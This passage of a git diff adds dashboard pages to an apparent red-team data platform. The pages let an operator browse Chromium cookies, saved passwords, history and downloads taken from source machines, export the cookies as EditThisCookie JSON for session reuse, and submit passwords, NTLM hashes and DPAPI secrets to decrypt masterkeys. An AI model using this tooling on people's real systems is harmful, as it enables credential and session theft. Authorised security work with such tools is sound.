onChange=lazy(sync(f"file_notes_{unique_db_id}")), + fullWidth=True, + sx={"flexGrow": 1}, + InputProps={"endAdornment": end}, + ) + + # draw in nearly invisible placeholders for the rest of the PAGE_SIZE + # this is because the grid can't be redrawn, so if the layout isn't filled + # in on first render, only the the X first grid slots (where X = original number of rendered entries) + # will be rendered + for i in range(len(df) + 1, PAGE_SIZE + 1): + mui.Box( + "", + key=i, + sx={ + "maxHeight": 1, + "maxWidth": 1, + }, + ) + + # pagination, if needed + if total_hits > PAGE_SIZE: + total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE + pagination_html = templates.file_pagination(total_pages, st.session_state.file_download_page, search_params=set_search_params) + st.write(pagination_html, unsafe_allow_html=True) + + elif chosen_tab == "upload_file": + cols = st.columns(4) + with cols[0]: + default_project = cookies["nemesus_project"] if "nemesus_project" in cookies else "" + nemesus_project = st.text_input("The name of the current project", value=default_project, placeholder="Please enter a project name") + if nemesus_project: + cookies["nemesus_project"] = nemesus_project.upper() + with cols[1]: + default_operator = cookies["nemesis_operator"] if "nemesis_operator" in cookies else "" + nemesis_operator = st.text_input("The name of the current operator", value=default_operator, placeholder="Please enter an operator name") + if nemesis_operator: + cookies["nemesis_operator"] = nemesis_operator.upper() + with cols[2]: + default_source = cookies["nemesis_source"] if "nemesis_source" in cookies else "" + nemesis_source = st.text_input("The name of the source machine", value=default_source, placeholder="Please enter a source") + if nemesis_source: + cookies["nemesis_source"] = nemesis_source.upper() + with cols[3]: + default_expiration_days = cookies["nemesis_expiration_days"] if "nemesis_expiration_days" in cookies else "100" + nemesis_expiration_days = st.text_input("Days until the data should expire", value=default_expiration_days) + if nemesis_expiration_days: + if nemesis_expiration_days.isdigit(): + cookies["nemesis_expiration_days"] = nemesis_expiration_days + + else: + st.warning("Expiration days must be an integer!") + + original_file_path = st.text_input("Original file path (optional, used for masterkeys, Chromium data, etc.)") + if original_file_path: + original_file_path = original_file_path.replace("\\", "/") + + cookies.save() + + if ( + "nemesus_project" in cookies and cookies["nemesus_project"] != "" + and "nemesis_operator" in cookies and cookies["nemesis_operator"] != "" + and "nemesis_source" in cookies and cookies["nemesis_source"] != "" + and "nemesis_expiration_days" in cookies and cookies["nemesis_expiration_days"] != "" + ): + + uploaded_files = st.file_uploader("Choose a file for Nemesis to process", accept_multiple_files=True) + + for uploaded_file in uploaded_files: + proceed = True + file_name = ntpath.basename(uploaded_file.name) + + if original_file_path: + if original_file_path.lower().endswith(file_name.lower()): + file_path = original_file_path + elif original_file_path.endswith("/"): + file_path = f"{original_file_path}{file_name}" + else: + file_path = f"{original_file_path}/{file_name}" + else: + file_path = uploaded_file.name + + # if the file is a Chromium based file, a proper path is needed + if re.match("^(Local State|History|Login Data|Cookies)$", file_name, re.IGNORECASE): + if not utils.is_valid_chromium_file_path(file_path): + proceed = False + st.warning("Chromium data (Local State, History, Login Data, Cookies) needs a valid originating path!") + + if proceed: + bytes_data = uploaded_file.read() + + nemesis_file_id = utils.nemesis_post_file(bytes_data) + + if nemesis_file_id: + submission_time = datetime.datetime.utcnow() + expiration = submission_time + datetime.timedelta(days=int(cookies["nemesis_expiration_days"])) + submission_time_s = submission_time.strftime("%Y-%m-%dT%H:%M:%S.000Z") + expiration_s = expiration.strftime("%Y-%m-%dT%H:%M:%S.000Z") + metadata = { + "agent_id": cookies["nemesis_operator"], + "agent_type": "dashboard", + "automated": False, + "data_type": "file_data", + "expiration": expiration_s, + "source": cookies["nemesis_source"], + "project": cookies["nemesus_project"], + "timestamp": submission_time_s, + } + + file_data = {"path": f"{file_path}", "size": len(bytes_data), "object_id": nemesis_file_id} + + submission_id = utils.nemesis_post_data({"metadata": metadata, "data": [file_data]}) + + if submission_id: + st.success("Successful Nemesis submission", icon="✅") + nemesis_upload = f""" + | Property | Value | + | ------------------- | ----------- | + | __Submission ID__ | {submission_id} | + | __Nemesis File ID__ | {nemesis_file_id} | + | __Project__ | {cookies["nemesus_project"]} | + | __Source__ | {cookies["nemesis_source"]} | + | __Agent ID__ | {cookies["nemesis_operator"]} | + | __Agent Type__ | dashboard | + | __Automated__ | False | + | __Data Type__ | file_data | + | __Timestamp__ | {submission_time_s} | + | __Expiration__ | {expiration_s} | + | __Filename__ | {uploaded_file.name} | + | __Size__ | {len(bytes_data)} | + """ + st.markdown(nemesis_upload) diff --git a/cmd/dashboard/dashboard/pages/3_Chromium.py b/cmd/dashboard/dashboard/pages/3_Chromium.py new file mode 100644 index 0000000..5b7244d --- /dev/null +++ b/cmd/dashboard/dashboard/pages/3_Chromium.py @@ -0,0 +1,592 @@ +# Standard Libraries +import os +import re +from typing import List + +# 3rd Party Libraries +import extra_streamlit_components as stx +import streamlit as st +import utils +from st_aggrid import ( + AgGrid, + ColumnsAutoSizeMode, + DataReturnMode, + GridOptionsBuilder, + GridUpdateMode, + JsCode, +) +from streamlit_searchbox import st_searchbox +from streamlit_toggle import st_toggle_switch + +PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or "" +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000" +PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10" +PAGE_SIZE = int(PAGE_SIZE) + +global sources +sources = [] +global usernames +usernames = [] +global cookie_names +cookie_names = [] +global cookie_sites +cookie_sites = [] + +current_user = utils.header() + + +def search_sources(search_term: str) -> List[str]: + global sources + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), sources)) + + +def search_usernames(search_term: str) -> List[str]: + global usernames + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), usernames)) + + +def search_cookie_names(search_term: str) -> List[str]: + global cookie_names + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), cookie_names)) + + +def search_cookie_sites(search_term: str) -> List[str]: + global cookie_sites + return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), cookie_sites)) + + +if "authentication_status" in st.session_state and st.session_state["authentication_status"]: + with st.expander("About Chromium"): + st.markdown( + """ + This page will let you search for a source system, username, browser + type, + cookie and/or site name to filter for existing Chromium cookies or logins. + + for cookies, click the "Show expired" button to show all cookies instead of just those + that are not expired (the detault). + """ + ) + + query_params = st.experimental_get_query_params() + + # pull our specified tab from the query parameters, otherwise use "cookies" as the default + if "tab" not in query_params or not query_params["tab"]: + query_params["tab"] = ["cookies"] + + chosen_tab = stx.tab_bar( + data=[ + stx.TabBarItemData(id="cookies", title="Cookies", description="Chromium pilfered cookies"), + stx.TabBarItemData(id="logins", title="Logins", description="Chromium saved logins"), + stx.TabBarItemData(id="history", title="History", description="Chromium visited URLs"), + stx.TabBarItemData(id="downloads", title="Downloads", description="Chromium download information"), + ], + default=query_params["tab"][0], + ) + query_params["tab"] = [chosen_tab] + st.experimental_set_query_params(**query_params) + + if chosen_tab == "cookies": + # switches for showing unencrypted + expired cookies + col1, col2, col3, col4 = st.columns(4) + with col3: + # if "show_unencrypted_cookies" in query_params and query_params["show_unencrypted_cookies"][0] == "True": + # show_unencrypted_default = True + # else: + # show_unencrypted_default = False + show_encrypted = st_toggle_switch( + label="Show encrypted cookies", + key="unencrypted_cookie_switch", + default_value=False, + label_after=False, + ) + # if show_unencrypted: + # query_params["show_unencrypted_cookies"] = ["True"] + # else: + # query_params["show_unencrypted_cookies"] = ["False"] + + with col4: + # if "show_expired_cookies" in query_params and query_params["show_expired_cookies"][0] == "True": + # show_expired_default = True + # else: + # show_expired_default = False + show_expired = st_toggle_switch(label="Show expired cookies", key="expired_cookie_switch", default_value=False, label_after=False) + # if show_unencrypted: + # query_params["show_unencrypted_cookies"] = ["True"] + # else: + # query_params["show_unencrypted_cookies"] = ["False"] + + # get all of the unique source names from the nemesis.cookies table + sources = utils.get_unique_sources("chromium_cookies") + + if not sources or len(sources) == 0: + st.error("No Chromium cookie data in the database") + else: + source_selection = st_searchbox( + search_sources, + label="Enter a source/computer name to search for:", + placeholder="Type to search...", + key="cookies_searchbox_sources", + ) + if not source_selection: + source_selection = "%" + + # query_params["cookies_source"] = [source_selection] + + col1, col2 = st.columns(2) + + usernames = utils.get_usernames_for_source("cookies", source_selection) + + with col1: + username_selection = st_searchbox( + search_usernames, + label="Enter a username to search for:", + placeholder="Type to search...", + key="cookies_searchbox_usernames", + ) + if not username_selection: + username_selection = "%" + + # query_params["username_selection"] = [username_selection] + + with col2: + browsers = utils.get_browsers_for_source_username("cookies", source_selection, username_selection) + browser_selection = st.selectbox("Select a browser:", browsers, key="cookies_select_browser") + # set our wildcard if we're searching for all browsers + if browser_selection == "all": + browser_selection = "%" + + # query_params["browser_selection"] = [browser_selection] + + col1, col2 = st.columns(2) + + with col1: + site_regex = st.text_input("Enter a site name (% wildcard):", key="cookies_site_regex") + if not site_regex: + site_regex = "%" + # query_params["site_regex"] = [site_regex] + + with col2: + cookie_name_regex = st.text_input("Enter a cookie name (% wildcard):", key="cookies_name_regex") + if not cookie_name_regex: + cookie_name_regex = "%" + # query_params["cookie_name_regex"] = [cookie_name_regex] + + # actually grab our cookies + df_cookies = utils.get_cookie_df(source_selection, username_selection, browser_selection, site_regex, cookie_name_regex, show_encrypted, show_expired) + cookie_count = 0 + if df_cookies is not None: + cookie_count = len(df_cookies) + + col1, col2 = st.columns(2) + + with col1: + col1.metric("Cookies found", cookie_count) + + with col2: + # format our cookie dataframe for EditThisCookie download + if df_cookies is not None and cookie_count > 0: + df_cookies_download = df_cookies.copy() + df_cookies_download = df_cookies_download.rename(columns={"expires_utc": "expirationDate"}) + df_cookies_download = df_cookies_download.drop("source", axis=1) + df_cookies_download = df_cookies_download.drop("username", axis=1) + df_cookies_download = df_cookies_download.drop("browser", axis=1) + df_cookies_download["hostOnly"] = False + df_cookies_download["httpOnly"] = False + df_cookies_download["secure"] = True + df_cookies_download["session"] = False + df_cookies_download["sameSite"] = "lax" + df_cookies_download["storeId"] = "0" + df_cookies_download["id"] = range(1, len(df_cookies_download) + 1) + + st.write("") + btn = st.download_button( + label="Download EditThisCookie JSON", + data=df_cookies_download.to_json(orient="records", date_format="epoch"), + file_name="cookies.json", + ) + + if df_cookies is not None and cookie_count > 0: + gb = GridOptionsBuilder.from_dataframe(df_cookies) + gb.configure_default_column(groupable=True) + gb.configure_column("path", hide=True) + gb.configure_column("unique_db_id", hide=True) + + # set the "notes" column to be editable + gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True) + + gb.configure_column("username", width=140) + gb.configure_column("browser", width=100) + gb.configure_column("domain", wrapText=True, autoHeight=True) + gb.configure_column("name", width=180) + gb.configure_column("value", width=200) + gb.configure_column("expires_utc", width=150, wrapText=True, autoHeight=True) + + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15) + + # custom JavaScript code that manually sets an applied row as "selected" + # so that row is returned with grid["selected_rows"] on editing + # Yes, this is a hack, but it's because we can't otherwise easily return + # _just_ the row that's been edited instead of the entire stupid dataframe + js_cell_changed = JsCode( + """ + function(e) { + let api = e.api; + let rowIndex = e.rowIndex; + let col = e.column.colId; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + }; + """ + ) + + # the triage column is the only editable column, so don't need to otherwise constrain here + gb.configure_grid_options(onCellValueChanged=js_cell_changed) + + # build and display our grid + grid = AgGrid( + df_cookies, + gridOptions=gb.build(), + width="100%", + fit_columns_on_grid_load=False, + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED, + allow_unsafe_jscode=True, + ) + + for row in grid["selected_rows"]: + utils.update_notes_table(row["unique_db_id"], "chromium_cookies", current_user, row["notes"]) + + if chosen_tab == "logins": + col1, col2, col3, col4 = st.columns(4) + with col3: + show_encrypted = st_toggle_switch( + label="Show encrypted logins", + key="unencrypted_logins_switch", + default_value=False, + label_after=False, + ) + with col4: + show_blank = st_toggle_switch(label="Show blank logins", key="blank_logins_switch", default_value=False, label_after=False) + + sources = utils.get_unique_sources("chromium_logins") + + if not sources or len(sources) == 0: + st.error("No Chromium logins data in the database") + else: + source_selection = st_searchbox( + search_sources, + label="Enter a source/computer name to search for:", + placeholder="Type to search...", + key="sources_searchbox_logins", + ) + + if not source_selection: + source_selection = "%" + + col1, col2 = st.columns(2) + + usernames = utils.get_usernames_for_source("logins", source_selection) + + with col1: + username_selection = st_searchbox( + search_usernames, + label="Enter a username to search for:", + placeholder="Type to search...", + key="logins_searchbox_usernames", + ) + if not username_selection: + username_selection = "%" + + with col2: + browsers = utils.get_browsers_for_source_username("logins", source_selection, username_selection) + browser_selection = st.selectbox("Select a browser:", browsers, key="logins_select_browser") + # set our wildcard if we're searching for all browsers + if browser_selection == "all": + browser_selection = "%" + + col1, col2 = st.columns(2) + + with col1: + site_regex = st.text_input("Enter a site name (% wildcard):", key="logins_site_regex") + if not site_regex: + site_regex = "%" + with col2: + username_name_regex = st.text_input("Enter a login username (% wildcard):", key="logins_username_regex") + if not username_name_regex: + username_name_regex = "%" + + # actually grab our logins + df_logins = utils.get_login_df(source_selection, username_selection, browser_selection, site_regex, username_name_regex, show_encrypted, show_blank) + login_count = 0 + if df_logins is not None: + login_count = len(df_logins) + + col1.metric("Logins found", login_count) + + if df_logins is not None and login_count > 0: + gb = GridOptionsBuilder.from_dataframe(df_logins) + gb.configure_default_column(groupable=True) + gb.configure_column("path", hide=True) + gb.configure_column("unique_db_id", hide=True) + + # set the "notes" column to be editable + gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True) + + gb.configure_column("username", width=150) + gb.configure_column("browser", width=100) + gb.configure_column("url", wrapText=True, autoHeight=True) + gb.configure_column("password", wrapText=True, autoHeight=True) + gb.configure_column("last_used", width=130, wrapText=True, autoHeight=True) + gb.configure_column("used", width=120) + + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15) + + # custom JavaScript code that manually sets an applied row as "selected" + # so that row is returned with grid["selected_rows"] on editing + # Yes, this is a hack, but it's because we can't otherwise easily return + # _just_ the row that's been edited instead of the entire stupid dataframe + js_cell_changed = JsCode( + """ + function(e) { + let api = e.api; + let rowIndex = e.rowIndex; + let col = e.column.colId; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + }; + """ + ) + + # the triage column is the only editable column, so don't need to otherwise constrain here + gb.configure_grid_options(onCellValueChanged=js_cell_changed) + + # build and display our grid + grid = AgGrid( + df_logins, + columns_auto_size_mode=ColumnsAutoSizeMode.FIT_CONTENTS, + gridOptions=gb.build(), + width="100%", + fit_columns_on_grid_load=True, + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED, + allow_unsafe_jscode=True, + ) + + for row in grid["selected_rows"]: + utils.update_notes_table(row["unique_db_id"], "chromium_logins", current_user, row["notes"]) + + if chosen_tab == "history": + sources = utils.get_unique_sources("chromium_history") + + if not sources or len(sources) == 0: + st.error("No Chromium history data in the database") + else: + source_selection = st_searchbox( + search_sources, + label="Enter a source/computer name to search for:", + placeholder="Type to search...", + key="sources_searchbox_history", + ) + + if not source_selection: + source_selection = "%" + + col1, col2 = st.columns(2) + + usernames = utils.get_usernames_for_source("history", source_selection) + + with col1: + username_selection = st_searchbox( + search_usernames, + label="Enter a username to search for:", + placeholder="Type to search...", + key="history_searchbox_usernames", + ) + if not username_selection: + username_selection = "%" + + with col2: + browsers = utils.get_browsers_for_source_username("history", source_selection, username_selection) + browser_selection = st.selectbox("Select a browser:", browsers, key="history_select_browser") + # set our wildcard if we're searching for all browsers + if browser_selection == "all": + browser_selection = "%" + + col1, col2 = st.columns(2) + + with col1: + site_regex = st.text_input("Enter a site name (% wildcard):", key="history_site_regex") + if not site_regex: + site_regex = "%" + with col2: + title_regex = st.text_input("Enter a title (% wildcard):", key="history_title_regex") + if not title_regex: + title_regex = "%" + + # actually grab our history entries + df_history = utils.get_history_df(source_selection, username_selection, browser_selection, site_regex, title_regex) + history_count = 0 + if df_history is not None: + history_count = len(df_history) + + col1.metric("History entries found", history_count) + + if df_history is not None and history_count > 0: + gb = GridOptionsBuilder.from_dataframe(df_history) + gb.configure_default_column(groupable=True) + gb.configure_column("path", hide=True) + gb.configure_column("unique_db_id", hide=True) + + # set the "notes" column to be editable + gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True) + + gb.configure_column("username", width=150) + gb.configure_column("browser", width=100) + gb.configure_column("url", wrapText=True, autoHeight=True) + gb.configure_column("title", wrapText=True, autoHeight=True) + gb.configure_column("visits", width=100) + gb.configure_column("last_visit_time", width=140) + + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15) + + # custom JavaScript code that manually sets an applied row as "selected" + # so that row is returned with grid["selected_rows"] on editing + # Yes, this is a hack, but it's because we can't otherwise easily return + # _just_ the row that's been edited instead of the entire stupid dataframe + js_cell_changed = JsCode( + """ + function(e) { + let api = e.api; + let rowIndex = e.rowIndex; + let col = e.column.colId; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + }; + """ + ) + + # the triage column is the only editable column, so don't need to otherwise constrain here + gb.configure_grid_options(onCellValueChanged=js_cell_changed) + + # build and display our grid + grid = AgGrid( + df_history, + gridOptions=gb.build(), + width="100%", + fit_columns_on_grid_load=True, + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED, + allow_unsafe_jscode=True, + ) + + for row in grid["selected_rows"]: + utils.update_notes_table(row["unique_db_id"], "chromium_logins", current_user, row["notes"]) + + if chosen_tab == "downloads": + sources = utils.get_unique_sources("chromium_downloads") + + if not sources or len(sources) == 0: + st.error("No Chromium downloads data in the database") + else: + source_selection = st_searchbox( + search_sources, + label="Enter a source/computer name to search for:", + placeholder="Type to search...", + key="sources_searchbox_downloads", + ) + + if not source_selection: + source_selection = "%" + + col1, col2 = st.columns(2) + + usernames = utils.get_usernames_for_source("downloads", source_selection) + + with col1: + username_selection = st_searchbox( + search_usernames, + label="Enter a username to search for:", + placeholder="Type to search...", + key="downloads_searchbox_usernames", + ) + if not username_selection: + username_selection = "%" + + with col2: + browsers = utils.get_browsers_for_source_username("downloads", source_selection, username_selection) + browser_selection = st.selectbox("Select a browser:", browsers, key="downloads_select_browser") + # set our wildcard if we're searching for all browsers + if browser_selection == "all": + browser_selection = "%" + + col1, col2 = st.columns(2) + + with col1: + site_regex = st.text_input("Enter a site name (% wildcard):", key="downloads_site_regex") + if not site_regex: + site_regex = "%" + with col2: + path_regex = st.text_input("Enter a download file/path name:", key="downloads_path_regex") + if not path_regex: + path_regex = "%" + + # actually grab our download entries + df_download = utils.get_download_df(source_selection, username_selection, browser_selection, site_regex, path_regex) + download_count = 0 + if df_download is not None: + download_count = len(df_download) + + col1.metric("Downloads found", download_count) + + if df_download is not None and download_count > 0: + gb = GridOptionsBuilder.from_dataframe(df_download) + gb.configure_default_column(groupable=True) + gb.configure_column("path", hide=True) + gb.configure_column("danger_type", hide=True) + gb.configure_column("unique_db_id", hide=True) + + # set the "notes" column to be editable + gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True) + + gb.configure_column("username", width=150) + gb.configure_column("browser", width=80) + gb.configure_column("url", wrapText=True, autoHeight=True) + gb.configure_column("download_path", wrapText=True, autoHeight=True) + gb.configure_column("timestamp", width=110, wrapText=True, autoHeight=True) + gb.configure_column("danger_type", width=130, wrapText=True, autoHeight=True) + + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=15) + + # custom JavaScript code that manually sets an applied row as "selected" + # so that row is returned with grid["selected_rows"] on editing + # Yes, this is a hack, but it's because we can't otherwise easily return + # _just_ the row that's been edited instead of the entire stupid dataframe + js_cell_changed = JsCode( + """ + function(e) { + let api = e.api; + let rowIndex = e.rowIndex; + let col = e.column.colId; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + }; + """ + ) + + # the triage column is the only editable column, so don't need to otherwise constrain here + gb.configure_grid_options(onCellValueChanged=js_cell_changed) + + # build and display our grid + grid = AgGrid( + df_download, + gridOptions=gb.build(), + width="100%", + fit_columns_on_grid_load=True, + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED, + allow_unsafe_jscode=True, + ) + + for row in grid["selected_rows"]: + utils.update_notes_table(row["unique_db_id"], "chromium_downloads", current_user, row["notes"]) diff --git a/cmd/dashboard/dashboard/pages/4_DPAPI.py b/cmd/dashboard/dashboard/pages/4_DPAPI.py new file mode 100644 index 0000000..4878152 --- /dev/null +++ b/cmd/dashboard/dashboard/pages/4_DPAPI.py @@ -0,0 +1,224 @@ +# Standard Libraries +import datetime +import logging +import os +import re +import time + +# 3rd Party Libraries +import extra_streamlit_components as stx +import streamlit as st +import utils +from st_aggrid import AgGrid, GridOptionsBuilder, GridUpdateMode +from streamlit_cookies_manager import CookieManager + +PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or "" +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000" +PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10" +PAGE_SIZE = int(PAGE_SIZE) + + +#################################################### +# +# Main app functionality +# +#################################################### + +current_user = utils.header() + +# Get the Elasticsearch client +logging.getLogger("elasticsearch").setLevel(logging.ERROR) +es_client = utils.wait_for_elasticsearch() + +# only execute the main functionality if the user is authenticated +if st.session_state["authentication_status"]: + cookies = CookieManager() + if not cookies.ready(): + st.stop() + + with st.expander("About DPAPI"): + st.markdown( + """ + This page shows the number of DPAPI user and system masterkeys and + target DPAPI data that is decrypted/still encrypted. Additionally, + plaintext masterkeys can be submitted. as well as DPAPI_SYSTEM keys + to decrpyt system materkeys and domain backup keys to decrypt user + domain masterkeys. + """ + ) + + query_params = st.experimental_get_query_params() + + # pull our specified tab from the query parameters, otherwise use "overview" as the default + if "tab" not in query_params or not query_params["tab"]: + query_params["tab"] = ["overview"] + + chosen_tab = stx.tab_bar( + data=[ + stx.TabBarItemData(id="overview", title="DPAPI Overview", description="Overview of DPAPI Data"), + stx.TabBarItemData(id="masterkeys", title="Masterkeys", description="DPAPI Masterkey Triage"), + ], + default=query_params["tab"][0], + ) + query_params["tab"] = [chosen_tab] + st.experimental_set_query_params(**query_params) + + if chosen_tab == "overview": + cols = st.columns(4) + with cols[0]: + total_dpapi_blobs = utils.postgres_count_dpapi_blobs() + dec_dpapi_blobs = utils.postgres_count_dpapi_blobs(show_all=False) + st.metric("DPAPI Blobs", f"{dec_dpapi_blobs} / {total_dpapi_blobs}") + with cols[1]: + total_statefiles = utils.postgres_count_state_files() + dec_statefiles = utils.postgres_count_state_files(show_all=False) + st.metric("Chromium State Files", f"{dec_statefiles} / {total_statefiles}") + with cols[2]: + total_dpapi_backupkeys = utils.postgres_count_entries("dpapi_domain_backupkeys") + st.metric("DPAPI Domain Backupkeys", total_dpapi_backupkeys) + + st.divider() + cols = st.columns(4) + with cols[0]: + total_masterkeys = utils.postgres_count_masterkeys() + dec_masterkeys = utils.postgres_count_masterkeys(show_all=False) + st.metric("Total Masterkeys", f"{dec_masterkeys} / {total_masterkeys}") + with cols[1]: + domain_user_masterkeys = utils.postgres_count_masterkeys(key_type="domain_user") + dec_domain_user_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="domain_user") + st.metric("Domain User Masterkeys", f"{dec_domain_user_masterkeys} / {domain_user_masterkeys}") + with cols[2]: + local_user_masterkeys = utils.postgres_count_masterkeys(key_type="local_user") + dec_local_user_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="local_user") + st.metric("Local User Masterkeys", f"{dec_local_user_masterkeys} / {local_user_masterkeys}") + with cols[3]: + machine_masterkeys = utils.postgres_count_masterkeys(key_type="machine") + dec_machine_masterkeys = utils.postgres_count_masterkeys(show_all=False, key_type="machine") + st.metric("Machine Masterkeys", f"{dec_machine_masterkeys} / {machine_masterkeys}") + + if chosen_tab == "masterkeys": + # trigger getting the password data in case we have a cache hit + df = utils.get_masterkeys() + + # force a cache reset if "df_loaded" is missing - this happens on a hard reload + if "df_loaded" not in st.session_state: + st.cache_data.clear() + print("[!] Resetting cache") + df = utils.get_masterkeys() + + st.subheader("Submit Keys") + cols = st.columns(4) + with cols[0]: + default_project = cookies["nemesus_project"] if "nemesus_project" in cookies else "" + nemesus_project = st.text_input("The name of the current project", value=default_project, placeholder="Please enter a project name") + if nemesus_project: + cookies["nemesus_project"] = nemesus_project.upper() + with cols[1]: + default_operator = cookies["nemesis_operator"] if "nemesis_operator" in cookies else "" + nemesis_operator = st.text_input("The name of the current operator", value=default_operator, placeholder="Please enter an operator name") + if nemesis_operator: + cookies["nemesis_operator"] = nemesis_operator.upper() + with cols[2]: + default_source = cookies["nemesis_source"] if "nemesis_source" in cookies else "" + nemesis_source = st.text_input("The name of the source machine", value=default_source, placeholder="Please enter a source") + if nemesis_source: + cookies["nemesis_source"] = nemesis_source.upper() + with cols[3]: + default_expiration_days = cookies["nemesis_expiration_days"] if "nemesis_expiration_days" in cookies else "100" + nemesis_expiration_days = st.text_input("Days until the data should expire", value=default_expiration_days) + if nemesis_expiration_days: + if nemesis_expiration_days.isdigit(): + cookies["nemesis_expiration_days"] = nemesis_expiration_days + + else: + st.warning("Expiration days must be an integer!") + + cookies.save() + + if ( + "nemesus_project" in cookies and cookies["nemesus_project"] != "" + and "nemesis_operator" in cookies and cookies["nemesis_operator"] != "" + and "nemesis_source" in cookies and cookies["nemesis_source"] != "" + and "nemesis_expiration_days" in cookies and cookies["nemesis_expiration_days"] != "" + ): + + authentication_data = {} + submission_id = "" + + with st.form("key_submission", clear_on_submit=True): + cols = st.columns(3) + with cols[0]: + plaintext_password = st.text_input("Password", placeholder=":") + if plaintext_password: + if ":" not in plaintext_password: + st.error("The required format is `:`") + else: + i = plaintext_password.find(":") + username = plaintext_password[:i] + password = plaintext_password[i + 1:] + cred_type = "password" + + if re.match("[a-zA-Z0-9]{32}$", password): + cred_type = "ntlm_hash" + + authentication_data = { + "type": cred_type, + "username": username, + "data": password + } + with cols[1]: + dpapi_system = st.text_input("DPAPI_SYSTEM", placeholder="DPAPI_SYSTEM LSA secret") + if dpapi_system: + if not re.match("^(([a-fA-F0-9]{40})|([a-fA-F0-9]{80}))$", dpapi_system): + st.error("Valid format for DPAPI_SYSTEM is 40 or 80 alphanumeric characters") + else: + authentication_data = { + "type": "dpapi_system", + "data": dpapi_system + } + with cols[2]: + dec_masterkey = st.text_input("Plaintext Masterkey", placeholder="GUID:SHA1") + if dec_masterkey: + if not re.match("^\{?([0-9a-fA-F]){8}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){4}-(?:[0-9a-fA-F]){12}\}?:([a-fA-F0-9]{40})$", dec_masterkey): + st.error("The required format is `GUID:SHA1`") + else: + authentication_data = { + "type": "dpapi_masterkey", + "data": dec_masterkey + } + + submitted = st.form_submit_button(label="Submit") + + if submitted and authentication_data and (plaintext_password or dec_masterkey or dpapi_system): + submission_time = datetime.datetime.utcnow() + expiration = submission_time + datetime.timedelta(days=int(cookies["nemesis_expiration_days"])) + submission_time_s = submission_time.strftime("%Y-%m-%dT%H:%M:%S.000Z") + expiration_s = expiration.strftime("%Y-%m-%dT%H:%M:%S.000Z") + metadata = { + "agent_id": cookies["nemesis_operator"], + "agent_type": "dashboard", + "automated": False, + "data_type": "authentication_data", + "expiration": expiration_s, + "source": cookies["nemesis_source"], + "project": cookies["nemesus_project"], + "timestamp": submission_time_s, + } + submission_id = utils.nemesis_post_data({"metadata": metadata, "data": [authentication_data]}) + if submission_id: + st.success(f"Successful Nemesis submission: {submission_id}", icon="✅") + time.sleep(5) + st.cache_data.clear() + st.experimental_rerun() + + gb = GridOptionsBuilder.from_dataframe(df) + + # build and display our grid + grid = AgGrid( + df, + gridOptions=gb.build(), + width="100%", + update_mode=GridUpdateMode.SELECTION_CHANGED, + fit_columns_on_grid_load=True, + ) \ No newline at end of file diff --git a/cmd/dashboard/dashboard/pages/5_Credentials.py b/cmd/dashboard/dashboard/pages/5_Credentials.py new file mode 100644 index 0000000..cbae496 --- /dev/null +++ b/cmd/dashboard/dashboard/pages/5_Credentials.py @@ -0,0 +1,201 @@ +# Standard Libraries +import logging +import os + +# 3rd Party Libraries +import pandas as pd +import psycopg +import streamlit as st +import templates +import utils +from st_aggrid import AgGrid, DataReturnMode, GridOptionsBuilder, GridUpdateMode, JsCode +from streamlit_cookies_manager import CookieManager + +PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or "" +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000" +PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10" +PAGE_SIZE = int(PAGE_SIZE) + + +#################################################### +# +# Main app functionality +# +#################################################### + +current_user = utils.header() + +# Get the Elasticsearch client +logging.getLogger("elasticsearch").setLevel(logging.ERROR) +es_client = utils.wait_for_elasticsearch() + +# only execute the main functionality if the user is authenticated +if st.session_state["authentication_status"]: + cookies = CookieManager() + if not cookies.ready(): + st.stop() + + with st.expander("About Credentials"): + st.markdown( + """ + This page shows plaintext password authentication data that has been + extracted from processed Nemesis data. The `triage` tags (Useful/Not Useful/Unknown) + can be set by clicking the `triage` column. These values are set back in the + database for tracking, and can also be used for filtering the table. + + The table can also be exported as csv or Excel by right clicking and choosing the 